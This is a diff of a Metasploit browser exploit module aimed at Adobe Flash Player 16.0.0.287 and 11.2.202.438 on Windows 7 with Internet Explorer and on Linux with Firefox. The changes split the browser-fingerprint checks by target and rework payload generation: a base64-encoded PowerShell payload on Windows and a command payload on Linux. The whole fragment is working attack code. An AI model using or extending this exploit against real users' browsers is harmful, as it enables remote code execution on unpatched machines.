@@ -45,16 +45,31 @@ def initialize(info={})
45
45
'BrowserRequirements' =>
46
46
{
47
47
:source => /script|headers/i ,
48
+ :arch => ARCH_X86 ,
48
49
:os_name => lambda do |os |
49
50
os =~ OperatingSystems ::Match ::LINUX ||
50
51
os =~ OperatingSystems ::Match ::WINDOWS_7
51
52
end ,
52
- :ua_name => lambda { |ua | [ Msf ::HttpClients ::IE , Msf ::HttpClients ::FF ] . include? ( ua ) } ,
53
+ :ua_name => lambda do |ua |
54
+ case target . name
55
+ when 'Windows'
56
+ return true if ua == Msf ::HttpClients ::IE
57
+ when 'Linux'
58
+ return true if ua == Msf ::HttpClients ::FF
59
+ end
60
+
61
+ false
62
+ end ,
53
63
:flash => lambda do |ver |
54
- ( ver =~ /^16\. / && Gem ::Version . new ( ver ) <= Gem ::Version . new ( '16.0.0.287' ) ) ||
55
- ( ver =~ /^11\. / && Gem ::Version . new ( ver ) <= Gem ::Version . new ( '11.2.202.438' ) )
56
- end ,
57
- :arch => ARCH_X86
64
+ case target . name
65
+ when 'Windows'
66
+ return true if ver =~ /^16\. / && Gem ::Version . new ( ver ) <= Gem ::Version . new ( '16.0.0.287' )
67
+ when 'Linux'
68
+ return true if ver =~ /^11\. / && Gem ::Version . new ( ver ) <= Gem ::Version . new ( '11.2.202.438' )
69
+ end
70
+
71
+ false
72
+ end
58
73
} ,
59
74
'Targets' =>
60
75
[
@@ -97,13 +112,14 @@ def on_request_exploit(cli, request, target_info)
97
112
98
113
def exploit_template ( cli , target_info )
99
114
swf_random = "#{ rand_text_alpha ( 4 + rand ( 3 ) ) } .swf"
100
- target_payload = get_payload ( cli , target_info )
101
115
102
116
if target . name =~ /Windows/
117
+ target_payload = get_payload ( cli , target_info )
103
118
psh_payload = cmd_psh_payload ( target_payload , 'x86' , { remove_comspec : true } )
104
119
b64_payload = Rex ::Text . encode_base64 ( psh_payload )
105
120
platform_id = 'win'
106
121
elsif target . name =~ /Linux/
122
+ target_payload = get_payload ( cli , target_info . merge ( arch : ARCH_CMD ) )
107
123
b64_payload = Rex ::Text . encode_base64 ( target_payload )
108
124
platform_id = 'linux'
109
125
end
0 commit comments